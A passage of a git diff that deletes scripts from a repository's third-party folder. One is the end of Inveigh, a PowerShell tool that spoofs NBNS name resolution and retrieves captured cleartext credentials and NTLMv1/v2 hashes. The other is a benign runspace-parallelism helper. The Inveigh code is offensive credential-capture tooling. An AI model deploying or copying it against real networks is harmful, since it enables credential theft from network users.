$NBNSPause).AddArgument($WPADAuth).AddArgument($WPADIP).AddArgument($WPADPort).AddArgument( - $WPADDirectHosts).AddArgument($WPADResponse).AddArgument($RunCount) > $null - $HTTP_powershell.BeginInvoke() > $null -} - -# Spoofer Startup function -function Spoofer() -{ - $spoofer_runspace = [RunspaceFactory]::CreateRunspace() - $spoofer_runspace.Open() - $spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $spoofer_powershell = [PowerShell]::Create() - $spoofer_powershell.Runspace = $spoofer_runspace - $spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $spoofer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $spoofer_powershell.AddScript($spoofer_scriptblock).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument( - $SpooferTarget).AddArgument($NBNSPause).AddArgument($NBNSTTL) > $null - $spoofer_powershell.BeginInvoke() > $null -} - -# Control Brute Force Startup function -function ControlBruteForceLoop() -{ - $control_bruteforce_runspace = [RunspaceFactory]::CreateRunspace() - $control_bruteforce_runspace.Open() - $control_bruteforce_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $control_bruteforce_powershell = [PowerShell]::Create() - $control_bruteforce_powershell.Runspace = $control_bruteforce_runspace - $control_bruteforce_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $control_bruteforce_powershell.AddScript($control_bruteforce_scriptblock).AddArgument($NBNSPause).AddArgument($RunTime) > $null - $control_bruteforce_powershell.BeginInvoke() > $null -} - -# End Startup functions - -# Startup Enabled Services - -# HTTP Server Start -if($HTTP -eq 'Y') -{ - HTTPListener -} - -# Spoofer Start -if($NBNS -eq 'Y') -{ - Spoofer -} - -# Control Brute Force Loop Start -if($NBNSPause -or $RunTime -or $inveigh.file_output) -{ - ControlBruteForceLoop -} - -if($inveigh.console_output) -{ - - :console_loop while(($inveigh.bruteforce_running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) - { - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* written to *" - { - - if($inveigh.file_output) - { - Write-Warning $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveRange(0,1) - } - - "* for relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* local administrator *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - } - - } - - } - - if($inveigh.console_input) - { - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - } - - Start-Sleep -m 5 - } - -} - -if($inveigh.file_output -and !$inveigh.running) -{ - - while($inveigh.log_file_queue.Count -gt 0) - { - $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv1_file_queue.Count -gt 0) - { - $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv2_file_queue.Count -gt 0) - { - $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveRange(0,1) - } - - while($inveigh.cleartext_file_queue.Count -gt 0) - { - $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveRange(0,1) - } - -} - -} -#End Invoke-InveighBruteForce - -function Stop-Inveigh -{ - <# - .SYNOPSIS - Stop-Inveigh will stop all running Inveigh functions. - #> - - if($inveigh) - { - if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) - { - - if($inveigh.HTTP_listener.IsListening) - { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - - if($inveigh.bruteforce_running) - { - $inveigh.bruteforce_running = $false - Write-Output("$(Get-Date -format 's') - Attempting to stop HTTP listener") - $inveigh.HTTP_listener.server.blocking = $false - Start-Sleep -s 1 - $inveigh.HTTP_listener.server.Close() - Start-Sleep -s 1 - $inveigh.HTTP_listener.Stop() - Write-Output("Inveigh Brute Force exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Brute Force exited") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh Brute Force exited" | Out-File $Inveigh.log_out_file -Append - } - - } - - if($inveigh.relay_running) - { - $inveigh.relay_running = $false - Write-Output("Inveigh Relay exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh Relay exited" | Out-File $Inveigh.log_out_file -Append - } - - } - - if($inveigh.running) - { - $inveigh.running = $false - Write-Output("Inveigh exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh exited" | Out-File $Inveigh.log_out_file -Append - } - - } - - } - else - { - Write-Output("There are no running Inveigh functions") - } - - if($inveigh.HTTPS) - { - & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.Find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0] - $certificate_store.Remove($certificate) - $certificate_store.Close() - } - catch - { - Write-Output("SSL Certificate Deletion Error - Remove Manually") - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } - - } - } - - $inveigh.HTTP = $false - $inveigh.HTTPS = $false - } - else - { - Write-Output("There are no running Inveigh functions")|Out-Null - } - -} - -function Get-Inveigh -{ - <# - .SYNOPSIS - Get-Inveigh will display queued Inveigh console output. - #> - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* written to *" - { - - if($inveigh.file_output) - { - Write-Warning $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveRange(0,1) - } - - "* for relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* local administrator *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - } - - } - - } - -} - -function Get-InveighCleartext -{ - <# - .SYNOPSIS - Get-InveighCleartext will get all captured cleartext credentials. - - .PARAMETER Unique - Display only unique cleartext credentials. - #> - - param - ( - [parameter(Mandatory=$false)][Switch]$Unique, - [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter - ) - - if($Unique) - { - Write-Output $inveigh.cleartext_list | Get-Unique - } - else - { - Write-Output $inveigh.cleartext_list - } - -} - -function Get-InveighNTLMv1 -{ - <# - .SYNOPSIS - Get-InveighNTLMv1 will get captured NTLMv1 challenge/response hashes. - - .PARAMETER Unique - Display only the first captured challenge/response for each unique account. - - .PARAMETER Usernames - Display IP addresses and usernames for captured NTLMv2 challenge response hashes. - #> - - param - ( - [parameter(Mandatory=$false)][Switch]$Unique, - [parameter(Mandatory=$false)][Switch]$Usernames, - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter - ) - - if ($invalid_parameter) - { - throw "$($invalid_parameter) is not a valid parameter." - } - - if($Unique -and $Usernames) - { - throw "Cannot use -Unique with -Usernames." - } - - if($Unique) - { - $inveigh.NTLMv1_list.Sort() - - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) - { - $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) - - if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) - { - Write-Output $unique_NTLMv1 - } - - $unique_NTLMv1_account_last = $unique_NTLMv1_account - } - } - elseif($Usernames) - { - Write-Output $inveigh.NTLMv1_username_list - } - else - { - Write-Output $inveigh.NTLMv1_list - } - -} - -function Get-InveighNTLMv2 -{ - <# - .SYNOPSIS - Get-InveighNTLMv2 will get captured NTLMv2 challenge/response hashes. - - .PARAMETER Unique - Display only the first captured challenge/response for each unique account. - - .PARAMETER Usernames - Display IP addresses and usernames for captured NTLMv2 challenge response hashes. - #> - - param - ( - [parameter(Mandatory=$false)][Switch]$Unique, - [parameter(Mandatory=$false)][Switch]$Usernames, - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter - ) - - if($invalid_parameter) - { - throw "$($invalid_parameter) is not a valid parameter." - } - - if($Unique -and $Usernames) - { - throw "Cannot use -Unique with -Usernames." - } - - if($Unique) - { - $inveigh.NTLMv2_list.Sort() - - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) - { - $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) - - if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) - { - Write-Output $unique_NTLMv2 - } - - $unique_NTLMv2_account_last = $unique_NTLMv2_account - } - } - elseif($Usernames) - { - Write-Output $inveigh.NTLMv2_username_list - } - else - { - Write-Output $inveigh.NTLMv2_list - } - -} - -function Get-InveighLog -{ - <# - .SYNOPSIS - Get-InveighLog will get log entries. - #> - - Write-Output $inveigh.log -} - -function Watch-Inveigh -{ - <# - .SYNOPSIS - Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. - #> - - if($inveigh.tool -ne 1) - { - - if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) - { - Write-Output "Press any key to stop real time console output" - $inveigh.console_output = $true - - :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) - { - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* written to *" - { - - if($inveigh.file_output) - { - Write-Warning $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveRange(0,1) - } - - "* for relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* local administrator *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - } - - } - - } - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - Start-Sleep -m 5 - } - - } - else - { - Write-Output "Inveigh isn't running" - } - - } - else - { - Write-Output "Watch-Inveigh cannot be used with current external tool selection" - } - -} - -function Clear-Inveigh -{ - <# - .SYNOPSIS - Clear-Inveigh will clear Inveigh data from memory. - #> - - if($inveigh) - { - - if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.bruteforce_running) - { - Remove-Variable inveigh -scope global - Write-Output "Inveigh data has been cleared from memory" - } - else - { - Write-Output "Run Stop-Inveigh before running Clear-Inveigh" - } - - } - -} diff --git a/scripts/3rdparty/Invoke-Parallel.ps1 b/scripts/3rdparty/Invoke-Parallel.ps1 deleted file mode 100644 index f9930fd..0000000 --- a/scripts/3rdparty/Invoke-Parallel.ps1 +++ /dev/null @@ -1,610 +0,0 @@ -function Invoke-Parallel { - <# - .SYNOPSIS - Function to control parallel processing using runspaces - - .DESCRIPTION - Function to control parallel processing using runspaces - - Note that each runspace will not have access to variables and commands loaded in your session or in other runspaces by default. - This behaviour can be changed with parameters. - - .PARAMETER ScriptFile - File to run against all input objects. Must include parameter to take in the input object, or use $args. Optionally, include parameter to take in parameter. Example: C:\script.ps1 - - .PARAMETER ScriptBlock - Scriptblock to run against all computers. - - You may use $Using: language in PowerShell 3 and later. - - The parameter block is added for you, allowing behaviour similar to foreach-object: - Refer to the input object as $_. - Refer to the parameter parameter as $parameter - - .PARAMETER InputObject - Run script against these specified objects. - - .PARAMETER Parameter - This object is passed to every script block. You can use it to pass information to the script block; for example, the path to a logging folder - - Reference this object as $parameter if using the scriptblock parameterset. - - .PARAMETER ImportVariables - If specified, get user session variables and add them to the initial session state - - .PARAMETER ImportModules - If specified, get loaded modules and pssnapins, add them to the initial session state - - .PARAMETER Throttle - Maximum number of threads to run at a single time. - - .PARAMETER SleepTimer - Milliseconds to sleep after checking for completed runspaces and in a few other spots. I would not recommend dropping below 200 or increasing above 500 - - .PARAMETER RunspaceTimeout - Maximum time in seconds a single thread can run. If execution of your code takes longer than this, it is disposed. Default: 0 (seconds) - - WARNING: Using this parameter requires that maxQueue be set to throttle (it will be by default) for accurate timing. Details here: - http://gallery.technet.microsoft.com/Run-Parallel-Parallel-377fd430 - - .PARAMETER NoCloseOnTimeout - Do not dispose of timed out tasks or attempt to close the runspace if threads have timed out. This will prevent the script from hanging in certain situations where threads become non-responsive, at the expense of leaking memory within the PowerShell host. - - .PARAMETER MaxQueue - Maximum number of powershell instances to add to runspace pool. If this is higher than $throttle, $timeout will be inaccurate - - If this is equal or less than throttle, there will be a performance impact - - The default value is $throttle times 3, if $runspaceTimeout is not specified - The default value is $throttle, if $runspaceTimeout is specified - - .PARAMETER LogFile - Path to a file where we can log results, including run time for each thread, whether it completes, completes with errors, or times out. - - .PARAMETER Quiet - Disable progress bar. - - .EXAMPLE - Each example uses Test-ForPacs.ps1 which includes the following code: - param($computer) - - if(test-connection $computer -count 1 -quiet -BufferSize 16){ - $object = [pscustomobject] @{ - Computer=$computer; - Available=1; - Kodak=$( - if((test-path "\\$computer\c$\users\public\desktop\Kodak Direct View Pacs.url") -or (test-path "\\$computer\c$\documents and settings\all users - - \desktop\Kodak Direct View Pacs.url") ){"1"}else{"0"} - ) - } - } - else{ - $object = [pscustomobject] @{ - Computer=$computer; - Available=0; - Kodak="NA" - } - } - - $object - - .EXAMPLE - Invoke-Parallel -scriptfile C:\public\Test-ForPacs.ps1 -inputobject $(get-content C:\pcs.txt) -runspaceTimeout 10 -throttle 10 - - Pulls list of PCs from C:\pcs.txt, - Runs Test-ForPacs against each - If any query takes longer than 10 seconds, it is disposed - Only run 10 threads at a time - - .EXAMPLE - Invoke-Parallel -scriptfile C:\public\Test-ForPacs.ps1 -inputobject c-is-ts-91, c-is-ts-95 - - Runs against c-is-ts-91, c-is-ts-95 (-computername) - Runs Test-ForPacs against each - - .EXAMPLE - $stuff = [pscustomobject] @{ - ContentFile = "windows\system32\drivers\etc\hosts" - Logfile = "C:\temp\log.txt" - } - - $computers | Invoke-Parallel -parameter $stuff { - $contentFile = join-path "\\$_\c$" $parameter.contentfile - Get-Content $contentFile | - set-content $parameter.logfile - } - - This example uses the parameter argument. This parameter is a single object. To pass multiple items into the script block, we create a custom object (using a PowerShell v3 language) with properties we want to pass in. - - Inside the script block, $parameter is used to reference this parameter object. This example sets a content file, gets content from that file, and sets it to a predefined log file. - - .EXAMPLE - $test = 5 - 1..2 | Invoke-Parallel -ImportVariables {$_ * $test} - - Add variables from the current session to the session state. Without -ImportVariables $Test would not be accessible - - .EXAMPLE - $test = 5 - 1..2 | Invoke-Parallel {$_ * $Using:test} - - Reference a variable from the current session with the $Using: syntax. Requires PowerShell 3 or later. Note that -ImportVariables parameter is no longer necessary. - - .FUNCTIONALITY - PowerShell Language - - .NOTES - Credit to Boe Prox for the base runspace code and $Using implementation - http://learn-powershell.net/2012/05/10/speedy-network-information-query-using-powershell/ - http://gallery.technet.microsoft.com/scriptcenter/Speedy-Network-Information-5b1406fb#content - https://github.com/proxb/PoshRSJob/ - - Credit to T Bryce Yehl for the Quiet and NoCloseOnTimeout implementations - - Credit to Sergei Vorobev for the many ideas and contributions that have improved functionality, reliability, and ease of use - - .LINK - https://github.com/RamblingCookieMonster/Invoke-Parallel - #> - [cmdletbinding(DefaultParameterSetName='ScriptBlock')] - Param ( - [Parameter(Mandatory=$false,position=0,ParameterSetName='ScriptBlock')] - [System.Management.Automation.ScriptBlock]$ScriptBlock, - - [Parameter(Mandatory=$false,ParameterSetName='ScriptFile')] - [ValidateScript({test-path $_ -pathtype leaf})] - $ScriptFile, - - [Parameter(Mandatory=$true,ValueFromPipeline=$true)] - [Alias('CN','__Server','IPAddress','Server','ComputerName')] - [PSObject]$InputObject, - - [PSObject]$Parameter, - - [switch]$ImportVariables, - - [switch]$ImportModules, - - [int]$Throttle = 20, - - [int]$SleepTimer = 200, - - [int]$RunspaceTimeout = 0, - - [switch]$NoCloseOnTimeout = $false, - - [int]$MaxQueue, - - [validatescript({Test-Path (Split-Path $_ -parent)})] - [string]$LogFile = "C:\temp\log.log", - - [switch] $Quiet = $false - ) - - Begin { - - #No max queue specified? Estimate one. - #We use the script scope to resolve an odd PowerShell 2 issue where MaxQueue isn't seen later in the function - if( -not $PSBoundParameters.ContainsKey('MaxQueue') ) - { - if($RunspaceTimeout -ne 0){ $script:MaxQueue = $Throttle } - else{ $script:MaxQueue = $Throttle * 3 } - } - else - { - $script:MaxQueue = $MaxQueue - } - - Write-Verbose "Throttle: '$throttle' SleepTimer '$sleepTimer' runSpaceTimeout '$runspaceTimeout' maxQueue '$maxQueue' logFile '$logFile'" - - #If they want to import variables or modules, create a clean runspace, get loaded items, use those to exclude items - if ($ImportVariables -or $ImportModules) - { - $StandardUserEnv = [powershell]::Create().addscript({ - - #Get modules and snapins in this clean runspace - $Modules = Get-Module | Select -ExpandProperty Name - $Snapins = Get-PSSnapin | Select -ExpandProperty Name - - #Get variables in this clean runspace - #Called last to get vars like $? into session - $Variables = Get-Variable | Select -ExpandProperty Name - - #Return a hashtable where we can access each. - @{ - Variables = $Variables - Modules = $Modules - Snapins = $Snapins - } - }).invoke()[0] - - if ($ImportVariables) { - #Exclude common parameters, bound parameters, and automatic variables - Function _temp {[cmdletbinding()] param() } - $VariablesToExclude = @( (Get-Command _temp | Select -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables ) - Write-Verbose "Excluding variables $( ($VariablesToExclude | sort ) -join ", ")" - - # we don't use 'Get-Variable -Exclude', because it uses regexps. - # One of the veriables that we pass is '$?'. - # There could be other variables with such problems. - # Scope 2 required if we move to a real module - $UserVariables = @( Get-Variable | Where { -not ($VariablesToExclude -contains $_.Name) } ) - Write-Verbose "Found variables to import: $( ($UserVariables | Select -expandproperty Name | Sort ) -join ", " | Out-String).`n" - - } - - if ($ImportModules) - { - $UserModules = @( Get-Module | Where {$StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path $_.Path -ErrorAction SilentlyContinue)} | Select -ExpandProperty Path ) - $UserSnapins = @( Get-PSSnapin | Select -ExpandProperty Name | Where {$StandardUserEnv.Snapins -notcontains $_ } ) - } - } - - #region functions - - Function Get-RunspaceData { - [cmdletbinding()] - param( [switch]$Wait ) - - #loop through runspaces - #if $wait is specified, keep looping until all complete - Do { - - #set more to false for tracking completion - $more = $false - - #Progress bar if we have inputobject count (bound parameter) - if (-not $Quiet) { - Write-Progress -Activity "Running Query" -Status "Starting threads"` - -CurrentOperation "$startedCount threads defined - $totalCount input objects - $script:completedCount input objects processed"` - -PercentComplete $( Try { $script:completedCount / $totalCount * 100 } Catch {0} ) - } - - #run through each runspace. - Foreach($runspace in $runspaces) { - - #get the duration - inaccurate - $currentdate = Get-Date - $runtime = $currentdate - $runspace.startTime - $runMin = [math]::Round( $runtime.totalminutes ,2 ) - - #set up log object - $log = "" | select Date, Action, Runtime, Status, Details - $log.Action = "Removing:'$($runspace.object)'" - $log.Date = $currentdate - $log.Runtime = "$runMin minutes" - - #If runspace completed, end invoke, dispose, recycle, counter++ - If ($runspace.Runspace.isCompleted) { - - $script:completedCount++ - - #check if there were errors - if($runspace.powershell.Streams.Error.Count -gt 0) { - - #set the logging info and move the file to completed - $log.status = "CompletedWithErrors" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - foreach($ErrorRecord in $runspace.powershell.Streams.Error) { - Write-Error -ErrorRecord $ErrorRecord - } - } - else { - - #add logging details and cleanup - $log.status = "Completed" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - } - - #everything is logged, clean up the runspace - $runspace.powershell.EndInvoke($runspace.Runspace) - $runspace.powershell.dispose() - $runspace.Runspace = $null - $runspace.powershell = $null - - } - - #If runtime exceeds max, dispose the runspace - ElseIf ( $runspaceTimeout -ne 0 -and $runtime.totalseconds -gt $runspaceTimeout) { - - $script:completedCount++ - $timedOutTasks = $true - - #add logging details and cleanup - $log.status = "TimedOut" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - Write-Error "Runspace timed out at $($runtime.totalseconds) seconds for the object:`n$($runspace.object | out-string)" - - #Depending on how it hangs, we could still get stuck here as dispose calls a synchronous method on the powershell instance - if (!$noCloseOnTimeout) { $runspace.powershell.dispose() } - $runspace.Runspace = $null - $runspace.powershell = $null - $completedCount++ - - } - - #If runspace isn't null set more to true - ElseIf ($runspace.Runspace -ne $null ) { - $log = $null - $more = $true - } - - #log the results if a log file was indicated - if($logFile -and $log){ - ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] | out-file $LogFile -append - } - } - - #Clean out unused runspace jobs - $temphash = $runspaces.clone() - $temphash | Where { $_.runspace -eq $Null } | ForEach { - $Runspaces.remove($_) - } - - #sleep for a bit if we will loop again - if($PSBoundParameters['Wait']){ Start-Sleep -milliseconds $SleepTimer } - - #Loop again only if -wait parameter and there are more runspaces to process - } while ($more -and $PSBoundParameters['Wait']) - - #End of runspace function - } - - #endregion functions - - #region Init - - if($PSCmdlet.ParameterSetName -eq 'ScriptFile') - { - $ScriptBlock = [scriptblock]::Create( $(Get-Content $ScriptFile | out-string) ) - } - elseif($PSCmdlet.ParameterSetName -eq 'ScriptBlock') - { - #Start building parameter names for the param block - [string[]]$ParamsToAdd = '$_' - if( $PSBoundParameters.ContainsKey('Parameter') ) - { - $ParamsToAdd += '$Parameter' - } - - $UsingVariableData = $Null - - - # This code enables $Using support through the AST. - # This is entirely from Boe Prox, and his https://github.com/proxb/PoshRSJob module; all credit to Boe! - - if($PSVersionTable.PSVersion.Major -gt 2) - { - #Extract using references - $UsingVariables = $ScriptBlock.ast.FindAll({$args[0] -is [System.Management.Automation.Language.UsingExpressionAst]},$True) - - If ($UsingVariables) - { - $List = New-Object 'System.Collections.Generic.List`1[System.Management.Automation.Language.VariableExpressionAst]' - ForEach ($Ast in $UsingVariables) - { - [void]$list.Add($Ast.SubExpression) - } - - $UsingVar = $UsingVariables | Group SubExpression | ForEach {$_.Group | Select -First 1} - - #Extract the name, value, and create replacements for each - $UsingVariableData = ForEach ($Var in $UsingVar) { - Try - { - $Value = Get-Variable -Name $Var.SubExpression.VariablePath.UserPath -ErrorAction Stop - [pscustomobject]@{ - Name = $Var.SubExpression.Extent.Text - Value = $Value.Value - NewName = ('$__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) - NewVarName = ('__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) - } - } - Catch - { - Write-Error "$($Var.SubExpression.Extent.Text) is not a valid Using: variable!" - } - } - $ParamsToAdd += $UsingVariableData | Select -ExpandProperty NewName -Unique - - $NewParams = $UsingVariableData.NewName -join ', ' - $Tuple = [Tuple]::Create($list, $NewParams) - $bindingFlags = [Reflection.BindingFlags]"Default,NonPublic,Instance" - $GetWithInputHandlingForInvokeCommandImpl = ($ScriptBlock.ast.gettype().GetMethod('GetWithInputHandlingForInvokeCommandImpl',$bindingFlags)) - - $StringScriptBlock = $GetWithInputHandlingForInvokeCommandImpl.Invoke($ScriptBlock.ast,@($Tuple)) - - $ScriptBlock = [scriptblock]::Create($StringScriptBlock) - - Write-Verbose $StringScriptBlock - } - } - - $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param($($ParamsToAdd -Join ", "))`r`n" + $Scriptblock.ToString()) - } - else - { - Throw "Must provide ScriptBlock or ScriptFile"; Break - } - - Write-Debug "`$ScriptBlock: $($ScriptBlock | Out-String)" - Write-Verbose "Creating runspace pool and session states" - - #If specified, add variables and modules/snapins to session state - $sessionstate = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - if ($ImportVariables) - { - if($UserVariables.count -gt 0) - { - foreach($Variable in $UserVariables) - { - $sessionstate.Variables.Add( (New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Variable.Name, $Variable.Value, $null) ) - } - } - } - if ($ImportModules) - { - if($UserModules.count -gt 0) - { - foreach($ModulePath in $UserModules) - { - $sessionstate.ImportPSModule($ModulePath) - } - } - if($UserSnapins.count -gt 0) - { - foreach($PSSnapin in $UserSnapins) - { - [void]$sessionstate.ImportPSSnapIn($PSSnapin, [ref]$null) - } - } - } - - #Create runspace pool - $runspacepool = [runspacefactory]::CreateRunspacePool(1, $Throttle, $sessionstate, $Host) - $runspacepool.Open() - - Write-Verbose "Creating empty collection to hold runspace jobs" - $Script:runspaces = New-Object System.Collections.ArrayList - - #If inputObject is bound get a total count and set bound to true - $bound = $PSBoundParameters.keys -contains "InputObject" - if(-not $bound) - { - [System.Collections.ArrayList]$allObjects = @() - } - - #Set up log file if specified - if( $LogFile ){ - New-Item -ItemType file -path $logFile -force | Out-Null - ("" | Select Date, Action, Runtime, Status, Details | ConvertTo-Csv -NoTypeInformation -Delimiter ";")[0] | Out-File $LogFile - } - - #write initial log entry - $log = "" | Select Date, Action, Runtime, Status, Details - $log.Date = Get-Date - $log.Action = "Batch processing started" - $log.Runtime = $null - $log.Status = "Started" - $log.Details = $null - if($logFile) { - ($log | convertto-csv -Delimiter ";" -NoTypeInformation)[1] | Out-File $LogFile -Append - } - - $timedOutTasks = $false - - #endregion INIT - } - - Process { - - #add piped objects to all objects or set all objects to bound input object parameter - if($bound) - { - $allObjects = $InputObject - } - Else - { - [void]$allObjects.add( $InputObject ) - } - } - - End { - - #Use Try/Finally to catch Ctrl+C and clean up. - Try - { - #counts for progress - $totalCount = $allObjects.count - $script:completedCount = 0 - $startedCount = 0 - - foreach($object in $allObjects){ - - #region add scripts to runspace pool - - #Create the powershell instance, set verbose if needed, supply the scriptblock and parameters - $powershell = [powershell]::Create() - - if ($VerbosePreference -eq 'Continue') - { - [void]$PowerShell.AddScript({$VerbosePreference = 'Continue'}) - } - - [void]$PowerShell.AddScript($ScriptBlock).AddArgument($object) - - if ($parameter) - { - [void]$PowerShell.AddArgument($parameter) - } - - # $Using support from Boe Prox - if ($UsingVariableData) - { - Foreach($UsingVariable in $UsingVariableData) { - Write-Verbose "Adding $($UsingVariable.Name) with value: $($UsingVariable.Value)" - [void]$PowerShell.AddArgument($UsingVariable.Value) - } - } - - #Add the runspace into the powershell instance - $powershell.RunspacePool = $runspacepool - - #Create a temporary collection for each runspace - $temp = "" | Select-Object PowerShell, StartTime, object, Runspace - $temp.PowerShell = $powershell - $temp.StartTime = Get-Date - $temp.object = $object - - #Save the handle output when calling BeginInvoke() that will be used later to end the runspace - $temp.Runspace = $powershell.BeginInvoke() - $startedCount++ - - #Add the temp tracking info to $runspaces collection - Write-Verbose ( "Adding {0} to collection at {1}" -f $temp.object, $temp.starttime.tostring() ) - $runspaces.Add($temp) | Out-Null - - #loop through existing runspaces one time - Get-RunspaceData - - #If we have more running than max queue (used to control timeout accuracy) - #Script scope resolves odd PowerShell 2 issue - $firstRun = $true - while ($runspaces.count -ge $Script:MaxQueue) { - - #give verbose output - if($firstRun){ - Write-Verbose "$($runspaces.count) items running - exceeded $Script:MaxQueue limit." - } - $firstRun = $false - - #run get-runspace data and sleep for a short while - Get-RunspaceData - Start-Sleep -Milliseconds $sleepTimer - - } - - #endregion add scripts to runspace pool - } - - Write-Verbose ( "Finish processing the remaining runspace jobs: {0}" -f ( @($runspaces | Where {$_.Runspace -ne $Null}).Count) ) - Get-RunspaceData -wait - - if (-not $quiet) { - Write-Progress -Activity "Running Query" -Status "Starting threads" -Completed - } - } - Finally - { - #Close the runspace pool, unless we specified no close on timeout and something timed out - if ( ($timedOutTasks -eq $false) -or ( ($timedOutTasks -eq $true) -and ($noCloseOnTimeout -eq $false) ) ) { - Write-Verbose "Closing the runspace pool" - $runspacepool.close() - } - - #collect garbage - [gc]::Collect() - } - } -} diff --git 